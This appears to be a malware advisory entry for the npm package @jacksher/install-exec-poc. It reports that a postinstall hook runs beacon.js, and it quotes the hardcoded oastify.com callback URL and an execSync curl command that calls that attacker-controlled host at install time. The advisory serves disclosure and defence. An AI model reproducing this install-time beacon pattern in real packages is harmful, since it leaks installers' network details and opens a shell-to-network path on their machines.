MAL-2026-13972
Malicious code in @jacksher/install-exec-poc (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (d2551a4d2336e3a5279c44673c1a18dbcebc62268773ee324c8a8e7bb8828423) package.json declares `postinstall: node beacon.js`. On every `npm install`, beacon.js unconditionally performs a DNS lookup, an HTTPS GET to `https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired`, and `child_process.execSync('curl -s https://<same-host>/ci', {stdio:'ignore'})` against the same hardcoded oastify.com (Burp Collaborator) subdomain. The callback fires unconditionally at install time, causing the installer's machine to emit out-of-band DNS and HTTP traffic to an attacker-controlled OAST collector, disclosing the installer's public IP and resolver metadata. The use of `execSync` to shell out to `curl` at postinstall also establishes an install-time shell-to-network primitive on the installer's host. The package name (`install-exec-poc`) self-labels as a proof-of-concept, but the behavior fires on any consumer who installs the package.
Are you affected?
Enter the version of the package you're using.
Affected packages
No fixed version published yet for @jacksher/install-exec-poc (npm). Pin to a known-safe version or switch to an alternative.